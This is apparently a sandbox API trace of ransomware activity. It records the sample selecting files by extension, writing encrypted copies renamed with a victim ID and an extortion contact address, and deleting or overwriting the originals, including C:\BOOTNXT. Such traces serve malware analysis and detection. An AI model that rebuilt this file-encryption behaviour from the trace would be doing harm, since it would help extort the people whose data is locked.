	[0075.472] lstrlenW (lpString=".doc") returned 4
	[0075.472] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0075.472] lstrlenW (lpString=".docx") returned 5
	[0075.472] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0075.472] lstrlenW (lpString=".pdf") returned 4
	[0075.472] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0075.472] lstrlenW (lpString=".xls") returned 4
	[0075.472] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0075.472] lstrlenW (lpString=".xlsx") returned 5
	[0075.472] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0075.472] lstrlenW (lpString=".ppt") returned 4
	[0075.472] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0075.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.472] lstrlenW (lpString=".zip") returned 4
	[0075.472] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0075.472] lstrlenW (lpString=".rar") returned 4
	[0075.472] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0075.472] lstrlenW (lpString=".bz2") returned 4
	[0075.472] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0075.472] lstrlenW (lpString=".7z") returned 3
	[0075.472] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0075.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.472] lstrlenW (lpString=".dbf") returned 4
	[0075.472] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0075.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.472] lstrlenW (lpString=".1cd") returned 4
	[0075.472] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0075.472] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38
	[0075.472] lstrlenW (lpString=".jpg") returned 4
	[0075.472] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0075.473] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0075.473] lstrlenW (lpString="sqmapi.dll") returned 10
	[0075.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0075.473] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=144416) returned 1
	[0075.473] CloseHandle (hObject=0x354) returned 1
	[0075.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80
	[0075.473] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0075.473] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.473] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0075.474] GetLastError () returned 0x0
	[0075.474] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x23420, lpOverlapped=0x0) returned 1
	[0075.478] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x23430, lpOverlapped=0x0) returned 1
	[0075.481] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.481] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0075.481] SetEndOfFile (hFile=0x338) returned 1
	[0075.481] CloseHandle (hObject=0x338) returned 1
	[0075.484] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.484] SetEndOfFile (hFile=0x354) returned 1
	[0075.486] CloseHandle (hObject=0x354) returned 1
	[0075.486] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0075.486] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1
	[0075.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.486] lstrlenW (lpString=".doc") returned 4
	[0075.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0075.486] lstrlenW (lpString=".docx") returned 5
	[0075.486] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0075.486] lstrlenW (lpString=".pdf") returned 4
	[0075.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".xls") returned 4
	[0075.487] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".xlsx") returned 5
	[0075.487] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0075.487] lstrlenW (lpString=".ppt") returned 4
	[0075.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.487] lstrlenW (lpString=".zip") returned 4
	[0075.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".rar") returned 4
	[0075.487] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".bz2") returned 4
	[0075.487] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0075.487] lstrlenW (lpString=".7z") returned 3
	[0075.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0075.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.487] lstrlenW (lpString=".dbf") returned 4
	[0075.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0075.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.487] lstrlenW (lpString=".1cd") returned 4
	[0075.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0075.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.487] lstrlenW (lpString=".jpg") returned 4
	[0075.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.487] lstrlenW (lpString=".doc") returned 4
	[0075.487] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".docx") returned 5
	[0075.487] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0075.487] lstrlenW (lpString=".pdf") returned 4
	[0075.487] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".xls") returned 4
	[0075.487] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0075.487] lstrlenW (lpString=".xlsx") returned 5
	[0075.487] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0075.487] lstrlenW (lpString=".ppt") returned 4
	[0075.488] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0075.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.488] lstrlenW (lpString=".zip") returned 4
	[0075.488] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0075.488] lstrlenW (lpString=".rar") returned 4
	[0075.488] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0075.488] lstrlenW (lpString=".bz2") returned 4
	[0075.488] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0075.488] lstrlenW (lpString=".7z") returned 3
	[0075.488] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0075.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.488] lstrlenW (lpString=".dbf") returned 4
	[0075.488] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0075.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.488] lstrlenW (lpString=".1cd") returned 4
	[0075.488] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0075.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32
	[0075.488] lstrlenW (lpString=".jpg") returned 4
	[0075.488] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0075.488] lstrcmpiW (lpString1=".msu", lpString2=".Z9") returned -1
	[0075.488] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33
	[0075.488] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0075.489] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5198099) returned 1
	[0075.489] CloseHandle (hObject=0x354) returned 1
	[0075.490] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80
	[0075.490] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.490] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0075.490] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0075.490] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0x0) returned 1
	[0075.490] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.490] ReadFile (in: hFile=0x354, lpBuffer=0x3c36058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c36058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.494] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.494] ReadFile (in: hFile=0x354, lpBuffer=0x3c76058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c76058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.500] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.500] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.500] ReadFile (in: hFile=0x354, lpBuffer=0x3cb6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3cb6058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.964] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.964] WriteFile (in: hFile=0x354, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x38cfca8, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0076.305] SetEndOfFile (hFile=0x354) returned 1
	[0076.305] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e739b0
	[0076.604] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.604] WriteFile (in: hFile=0x354, lpBuffer=0x3e739b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e739b0*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.606] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.606] WriteFile (in: hFile=0x354, lpBuffer=0x3e739b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e739b0*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.608] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.608] WriteFile (in: hFile=0x354, lpBuffer=0x3e739b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e739b0*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.610] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e739b0 | out: hHeap=0x500000) returned 1
	[0076.610] CloseHandle (hObject=0x354) returned 1
	[0078.265] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0078.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.265] lstrlenW (lpString=".doc") returned 4
	[0078.265] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0078.265] lstrlenW (lpString=".docx") returned 5
	[0078.265] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0078.266] lstrlenW (lpString=".pdf") returned 4
	[0078.266] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0078.266] lstrlenW (lpString=".xls") returned 4
	[0078.266] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0078.266] lstrlenW (lpString=".xlsx") returned 5
	[0078.266] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0078.266] lstrlenW (lpString=".ppt") returned 4
	[0078.266] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0078.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.266] lstrlenW (lpString=".zip") returned 4
	[0078.266] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0078.266] lstrlenW (lpString=".rar") returned 4
	[0078.266] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0078.266] lstrlenW (lpString=".bz2") returned 4
	[0078.266] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0078.266] lstrlenW (lpString=".7z") returned 3
	[0078.266] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0078.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.266] lstrlenW (lpString=".dbf") returned 4
	[0078.266] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0078.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.266] lstrlenW (lpString=".1cd") returned 4
	[0078.266] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0078.266] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.266] lstrlenW (lpString=".jpg") returned 4
	[0078.266] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0078.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.267] lstrlenW (lpString=".doc") returned 4
	[0078.267] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0078.267] lstrlenW (lpString=".docx") returned 5
	[0078.267] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0078.267] lstrlenW (lpString=".pdf") returned 4
	[0078.267] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0078.267] lstrlenW (lpString=".xls") returned 4
	[0078.267] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0078.267] lstrlenW (lpString=".xlsx") returned 5
	[0078.267] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0078.267] lstrlenW (lpString=".ppt") returned 4
	[0078.267] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0078.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.267] lstrlenW (lpString=".zip") returned 4
	[0078.267] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0078.267] lstrlenW (lpString=".rar") returned 4
	[0078.267] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0078.267] lstrlenW (lpString=".bz2") returned 4
	[0078.267] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0078.267] lstrlenW (lpString=".7z") returned 3
	[0078.267] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0078.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.267] lstrlenW (lpString=".dbf") returned 4
	[0078.267] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0078.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.267] lstrlenW (lpString=".1cd") returned 4
	[0078.267] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0078.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55
	[0078.267] lstrlenW (lpString=".jpg") returned 4
	[0078.267] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0078.268] lstrlenW (lpString="BOOTNXT") returned 7
	[0078.268] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.269] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1) returned 1
	[0078.269] CloseHandle (hObject=0x354) returned 1
	[0078.269] GetFileAttributesW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26
	[0078.269] GetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\bootnxt.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.270] CreateFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.270] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.270] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.270] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\bootnxt.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.270] GetLastError () returned 0x0
	[0078.270] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x1, lpOverlapped=0x0) returned 1
	[0078.271] WriteFile (in: hFile=0x324, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x10, lpOverlapped=0x0) returned 1
	[0078.272] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.272] WriteFile (in: hFile=0x324, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0078.272] SetEndOfFile (hFile=0x324) returned 1
	[0078.272] CloseHandle (hObject=0x324) returned 1
	[0078.273] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.273] SetEndOfFile (hFile=0x354) returned 1
	[0078.274] CloseHandle (hObject=0x354) returned 1
	[0078.274] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x26) returned 1
	[0078.274] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1
	[0078.274] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.274] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.274] lstrlenW (lpString=".doc") returned 4
	[0078.274] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString=".docx") returned 5
	[0078.275] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0078.275] lstrlenW (lpString=".pdf") returned 4
	[0078.275] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString=".xls") returned 4
	[0078.275] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString=".xlsx") returned 5
	[0078.275] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0078.275] lstrlenW (lpString=".ppt") returned 4
	[0078.275] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.275] lstrlenW (lpString=".zip") returned 4
	[0078.275] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString=".rar") returned 4
	[0078.275] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString=".bz2") returned 4
	[0078.275] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString=".7z") returned 3
	[0078.275] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1
	[0078.275] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.275] lstrlenW (lpString=".dbf") returned 4
	[0078.275] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.275] lstrlenW (lpString=".1cd") returned 4
	[0078.275] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.275] lstrlenW (lpString=".jpg") returned 4
	[0078.275] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1
	[0078.275] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.275] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.276] lstrlenW (lpString=".doc") returned 4
	[0078.276] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString=".docx") returned 5
	[0078.276] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1
	[0078.276] lstrlenW (lpString=".pdf") returned 4
	[0078.276] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString=".xls") returned 4
	[0078.276] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString=".xlsx") returned 5
	[0078.276] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1
	[0078.276] lstrlenW (lpString=".ppt") returned 4
	[0078.276] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString="C:\\BOOTNXT") returned 10
	[0078.276] lstrlenW (lpString=".zip") returned 4
	[0078.276] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1
	[0078.276] lstrlenW (lpString=".rar") returned 4
